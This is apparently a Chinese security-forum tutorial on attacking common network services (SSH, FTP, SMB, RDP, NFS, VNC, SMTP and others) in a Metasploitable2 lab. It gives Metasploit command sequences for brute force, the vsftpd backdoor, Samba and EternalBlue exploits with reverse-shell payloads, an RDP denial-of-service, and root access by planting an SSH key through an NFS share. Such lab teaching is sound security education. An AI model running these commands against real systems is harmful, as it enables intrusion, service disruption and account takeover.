在现实环境中,往往通过查看该IP开放了什么端口而判断出开放了什么服务,让我们获得更多信息。当我们获取到某端口存在什么服务后,如何进行进一步的渗透攻击呢?
0x00 前言
在现实环境中,往往通过查看该IP开放了什么端口而判断出开放了什么服务,让我们获得更多信息。当我们获取到某端口存在什么服务后,如何进行进一步的渗透攻击呢?这是我们今天所要研究的
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 开放端口的常见系统服务
端口号 | 端口说明 | 攻击方向 |
---|---|---|
22 | SSH 远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet 远程连接 | 爆破、嗅探、弱口令 |
445 | SMB | 永恒之蓝 |
3389 | Rdp 远程桌面连接 Shift 后门(需要 Windows Server 2003 以下的系统) | 爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PyAnywhere 服务 抓密码 | 代码执行 |
25 | SMTP 邮件服务器 | 枚举用户 |
161 | SNMP | 爆破搜集目标内网信息 |
0x02 Metasploit的介绍
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。
是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
ms相关术语
渗透攻击(exploit)
利用目标的漏洞所进行的攻击行为
· 攻击载荷(payload)
目标系统在被渗透攻击后执行的代码,比如说反弹式shell
· 溢出代码(Shellcode)
作为攻击载荷运行的一组机器指令,通常是用汇编语言编写
目标系统执行了shellcode之后才会提供一个命令行shell
· 模块 (module)
指的是MSF框架中所使用的一段软件代码组建
· 监听器(listener)
MSF用来等待网络连接的组件
0x03 靶机准备
靶机环境: Metasploitable2 (Linux)
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中
安装完直接打开虚拟机就可以了,默认账号密码msfadmin
ifconfig查看一下靶机ip地址 192.168.160.148
0x04 SSH(22)
SSH为SecureShell的缩写,由IETF的⽹络⼩组(NetworkWorkingGroup)所制定;SSH为 建⽴在应⽤层基础上的安全协议。SSH是较可靠,专为远程登录会话和其他⽹络服务提供安全性的协 议。利⽤SSH协议可以有效防⽌远程管理过程中的信息泄露问题。 SSH最初是UNIX系统上的⼀个程序,后来⼜迅速扩展到其他操作平台。SSH在正确使⽤时可弥补⽹ 络中的漏洞。SSH客⼾端适⽤于多种平台。⼏乎所有UNIX平台—包括HP-UX、Linux、AIX、 Solaris、DigitalUNIX、Irix,以及其他平台,都可运⾏SSH。 SSH常⽤端⼝是22,通常可以使⽤Linux下的ssh命令对其连接管理,windows下可以使⽤ putty、SecureCRT、Xshell等⼯具。
利用msf工具对目标主机SSH爆破
启动 msf
在msfconsole中输入命令
search ssh_login
搜索ssh_login的相关工具和攻击载荷。
在终端中输入命令启用漏洞利用模块, 提示符就会提示进入到该路径下。
use auxiliary/scanner/ssh/ssh_login
在终端中输入命令查看需要设置的相关项,“yes”表示必须填写的参数
show options
设置攻击参数,包括但不限于目标机器ip 用户名 密码表(注意这个 passwd.txt 是已经有的)暴力破解线程
配置好参数后,在终端中输入run,开始向目标主机爆破ssh的登陆帐号和密码。这里由于我们目的是学习方法,密码表是随便拼凑得,爆破失败也不要紧。
假如爆破成功,在命令行输入ssh root@192.168.160.139连接目标主机。类似于下图这种效果。到此我们对于22端口的攻击就成功了
0x05FTP(21)
ftp是什么
⽂件传输协议FTP(File Transfer Protocol)是因特⽹中使⽤最⼴泛的⽂件传输协议。FTP使⽤交互式 的访问,允许客户指定⽂件的类型和格式(如指明是否使⽤ASCII码),并允许⽂件具有存取权限(如访问 ⽂件的⽤户必须经过授权,并输⼊有效的⼝令)。 ⽂件传输协议有基于TCP的FTP和基于UDP的简单⽂件传输协议TFTP,它们都是⽂件共享协议中的 ⼀⼤类,即复制整个⽂件,其特点是:若要存取⼀个⽂件,就必须先获得⼀个本地的⽂件副本。如果要 修改⽂件,只能对⽂件的副本进⾏修改,然后再将修改后的⽂件传回到原节点。
ftp如何工作
数据与控制分离
FTP基于TCP协议,FTP服务端上会使用2个工作端口,分别是20和21端口。 21端口用于控制连接,即客户端会将FTP操作命令(例如:上传某个文件、下载某个文件等)发送 到FTP服务端的21端口。 20端口用于数据连接,即要上传、要下载的文件里面的内容会通过这个端口传输
两种建立连接的方式
主动方式
由Client向Server的21端口发送连接请求、建立控制连接 2.当Client要上传或下载文件时,会通过控制连接发送命令PORT命令并告知Server我要用的X 端口接受数据,让Server的20端口和Client的X端口连接,建立数据连接。
被动方式
控制连接建立的方式相同。不同之处在于当Client要上传或下载文件时,会通过控制连接发送PASV命令,Server会开启一个端口 X,并告知Client连接端口X从而建立数据连接通道。
简单来说 主被动方式的区别主要在于 主动方式是由是server向指定端口传输数据,被动方式是server开启一个端口告知cilent连接
ftp的攻击尝试
后门攻击
扫描靶机端口得知ftp服务为vsftp2.3.4。在linux的vsftp2.3.4版本中存在着⼀个后门程序,当 USER 包含关键字符 :) 时,直接触发6200端口的连接。shell就会在6200上打开⼀个监听Shell。
详情见:https://www.h3399.cn/201707/104737.html
利用Metasploit中的exp获取目标服务器的shell
成功getshell
爆破攻击
最粗糙也最易理解的方式
Hydra简介
hydra 是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可
利用hydra爆破攻击 ftp
0x06 Telnet(23)
Telnet Telnet Telnet协议是TCP/IP协议族中的⼀员,是Internet远程登录服务的标准协议和主要⽅式。它为⽤ ⼾提供了在本地计算机上完成远程主机⼯作的能⼒。在终端使⽤者的电脑上使⽤telnet程序,⽤它连 接到服务器。终端使⽤者可以在telnet程序中输⼊命令,这些命令会在服务器上运⾏,就像直接在服 务器的控制台上输⼊⼀样。可以在本地就能控制服务器。要开始⼀个telnet会话,必须输⼊⽤⼾名和 密码来登录服务器。Telnet是常⽤的远程控制Web服务器的⽅法。 telnet服务使⽤的默认端⼝为23,连接telnet服务器使⽤nc或者telnet都可以
利用msf工具对目标主机Telnet爆破
流程和原理和对ssh的爆破基本一样,不再赘述
telnet登录auxiliary/scanner/telnet/telnet_login
扫描telnet版本auxiliary/scanner/telnet/telnet_version
msf >use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
设置参数use爆破即可(这里靶机没开放23端口)
0x07 DNS(53)
针对53端口的攻击
DNS溢出攻击 使用远程溢出漏洞对主机进行溢出攻击,然后通过nc等程序直连,获取系统权限 https://www.seebug.org/vuldb/ssvid-96718
DNS欺骗攻击,对DNS服务器进行欺骗(结合网页木马、挂马等)
拒绝服务攻击 ddos
详情可见:https://blog.csdn.net/weixin_50464560/article/details/124771027
0x08 SMB(139,445)
SMB 服务器信息块(SMB)是⼀个⽹络⽂件共享协议,它允许应⽤程序和终端⽤⼾从远端的⽂件服务器访 问⽂件资源。
微软最初将SMB定位为WindowsServer2008和Vista系统中通⽤互联⽹⽂件系统 (CIFS)的后续产品。最新版本的SMB3.0在WindowsServer2012操作系统中出现,并且与 Windows8客⼾端共同⼯作。 SMB⼀种客⼾机/服务器、请求/响应协议。通过SMB协议,客⼾端应⽤程序可以在各种⽹络环境下 读、写服务器上的⽂件,以及对服务器程序提出服务请求。此外通过SMB协议,应⽤程序可以访问远 程服务器端的⽂件、以及打印机、邮件槽(mailslot)、命名管道(namedpipe)等资源。 对外开放SMB协议端⼝不多,默认端⼝为445,在内⽹中⽐较常⻅,尤其是存在域控的⽹络中,域控 管理主机⽤的就是这个协议,在内⽹横向移动的时候会经常使⽤,在操作⽬标服务器之前需要先进⾏认 证,认证的命令是:
net use \\target\c$ /u:username password
爆破(139)
使用msf下的 smb_login工具即可,原理和上文介绍过的方式相同
SAMBA漏洞(445)
Samba是一个能让Linux系统应用Microsoft网络通讯协议的软件,而SMB是Server Message Block的缩写,即为服务器消息块,SMB主要是作为Microsoft的网络通讯协议,后来Samba将SMB通信协议应用到了Linux系统上,就形成了现在的Samba软件。
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
由于靶机是linux系统,我们选择linux的payload
set RHOST 192.168.18.136
设置靶机ip
set RPORT 445
设置攻击端口
exploit
利用msf工具实现永恒之蓝漏洞复现(445)
寻找MS17_010漏洞
search ms17_010
这里找到了四个模块,我们用到的有两个。第一个是漏洞利用模块,我们先探测哪些主机存在漏洞,第四个辅助模块是探测主机是否存在MS17_010漏洞
辅助探测模块
输入命令
use auxiliary/scanner/smb/smb_ms17_010
C段扫描,显示加号的则能够利用
漏洞攻击
然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue、
查看漏洞信息
查看可攻击的平台
查看攻击载荷
设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数: show options
需要我们设置RHOST 与LHOST(攻击机IP)用于接收从目标机弹回来的shell。这样就可以愉快的进行攻击了。成功反弹shell
0x09 RDP (3389)
RDP 远程桌⾯协议(RDP)是⼀个多通道(multi-channel)的协议,让使⽤者(所在计算机称为⽤⼾端或'本 地计算机')连上提供微软终端机服务的计算机(称为服务端或'远程计算机')。
RDP协议使⽤的默认端⼝为3389,在渗透过程中,拿到服务器权限之后,在⼀些特殊的环境,⽆法通 过命令⾏进⾏管理操作的情况下,可以通过添加账⼾,开启3389连接功能,远程登录⽬标服务器进⾏ 管理
ms12-020 漏洞复现
在msf中键入如下命令进行ms12-020漏洞攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 《your ip》
msf auxiliary(ms12_020_maxchannelids) > set rhost 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
Shift粘滞键后门:5次shift后门
window系统的后门,实现无密码登陆:
https://baijiahao.baidu.com/s?id=1673617354918306876&wfr=spider&for=pc
https://blog.csdn.net/weixin_40412037/article/details/123524027
输入法漏洞
太久远了 仅作了解
https://blog.csdn.net/weixin_42582241/article/details/121184153
使用msf验证Microsoft RDP RCE (CVE-2019-0708)漏洞
搜索 0708
search 0708
测试主机是否存在0708漏洞
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 192.168.160.139
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > exploit
执行渗透,有概率会成功,成功页面如下述
0x10 NFS(2049)
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。
在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。
利用nmap针对性测试一下2049端口是否开放
Linux NFS共享目录配置漏洞
未授权访问:未限制IP以及⽤户权限设置错误,其实漏洞形成的原理就是权限不 对,/etc/exports这个⽂件中的权限设置,我们上⽂采⽤的是root权限,所以导致服务器 被⼊侵
1.查看靶机上设置的远程共享目录列表
showmount –e ip
也可以使用 msf的 nfs/nfsmount模块
2.利用共享文件夹未授权访问
导出的文件夹可以通过创建一个空的本地文件夹,并将共享挂载到该文件夹来访问,如下所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
当成功验证共享挂载后,我们可以通过以下命令来列出所有的本地磁盘信息。如上图所示
df -h
此时,我们可以像访问其他文件夹一样轻松的访问共享文件夹。
cd /temp/
ls
https://www.freebuf.com/articles/network/159468.html
getshell
根据存储在导出文件夹中的文件,可能可以通过SSH或RSH和Rlogin来获取到shell访问权限。 我们着重来关注以下两个文件:
- authorized_keys
- rhosts
生成一个SSH密钥对并将其公钥添加到授权密钥列表中,那样我们就可以通过NFS服务器上的SSH与其建立连接了。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
0x11 RPC(135)
135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。
对于135端口的渗透,黑客的渗透方法为:
(1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https://wenku.baidu.com/view/68b3340c79563c1ec5da710a.html)
(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https://wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html)
https://www.4hou.com/posts/Y0lY
0x012 VNC(5900)
5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。对于该端口的渗透,思路如下:
(1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。
(2)cain同样支持对VNC的嗅探,同时支持端口修改。
(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。
(4)VNC拒绝服务攻击(CVE-2015-5239)。(http://blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015-5239%E5%88%86%E6%9E%90.html)
(5)VNC权限提升(CVE-2013-6886)
当然,实战中使用最多的方式还是爆破。可以使用hydra 也可以使用msf对应模块
0x13 SMTP(25,465)
攻击方式:爆破、弱口令、未授权访问
SMTP是⼀种提供可靠且有效的电⼦邮件传输的协议。SMTP是建⽴在FTP⽂件传输服务上的⼀种邮 件服务,主要⽤于系统之间的邮件信息传递,并提供有关来信的通知。SMTP独⽴于特定的传输⼦系 统,且只需要可靠有序的数据流信道⽀持,SMTP的重要特性之⼀是其能跨越⽹络传输邮件,即 “SMTP邮件中继”。使⽤SMTP,可实现相同⽹络处理进程之间的邮件传输,也可通过中继器或⽹ 关实现某处理进程与其他⽹络之间的邮件传输。 SMTP协议默认使⽤的端⼝是25,连接测试的话可以使⽤nc、telnet
利用msf对目标主机进行邮件枚举
利用如下相应框架,这里不再赘述
auxiliary/scanner/smtp/smtp_enum
auxiliary/scanner/smtp/smtp_version
批量检测 smtp未授权访问
可以看大师傅的这篇文章
https://www.freebuf.com/column/231304.html
0x14 pop3(109(POP2)、110(POP3)、995(POP3S))
POP3,全名为“Post Office Protocol - Version 3”,即“邮局协议版本3”。
pop3是TCP/IP协议族中的⼀员,由 RFC1939 定义。本协议主要⽤于⽀持使⽤客户端远程管理在服务器上的电⼦邮件。提供了SSL加密的POP3协 议被称为POP3S。
协议特性
POP3协议默认端⼝:110
POP3协议默认传输协议:TCP
POP3协议适⽤的构架结构:C/S
POP3协议的访问模式:离线访问
pop 协议支持离线邮件处理:
当邮件发送到服务器后,电⼦邮件客户端会调⽤邮件客户端程序,下载所有未阅读的 电⼦邮件(这种离线访问模式是⼀种存储转发服务).当邮件从邮件服务器发送到个⼈计算机上,同时邮件服务 器会删除该邮件(但是很多POP3服务器都⽀持“下载邮件,服务器并不删除邮件”,也就是说在POP3中改进了 POP协议)
攻击方式:爆破、弱口令、未授权访问、邮件伪造
msf 中有对应模块 常用的是爆破 弱口令 邮件伪造关键时刻可能有奇效
0x015 后记
由于我们的工具有限,能力有限,本篇文章仅仅总结了针对常见端口系统服务的常见攻击测试。总结不够全面不够到位,未来希冀通过自己的学习做进一步的补充。
想要了解更多针对系统服务的测试,可以看以下几篇文章:
https://www.jianshu.com/p/8bf81ccb9aa6
https://article.itxueyuan.com/vOkdn2
https://blog.csdn.net/weixin_42250835/article/details/111565254
https://www.lmlphp.com/user/17154/article/item/495730/
0x16 参考文章
https://toutiao.io/posts/4o1fh1/preview
https://www.shuzhiduo.com/A/1O5EvAb7d7/
https://blog.csdn.net/negnegil/article/details/120314194
https://www.jianshu.com/p/8bf81ccb9aa6
https://article.itxueyuan.com/vOkdn2
- 本文作者: 绿冰壶
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1712
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!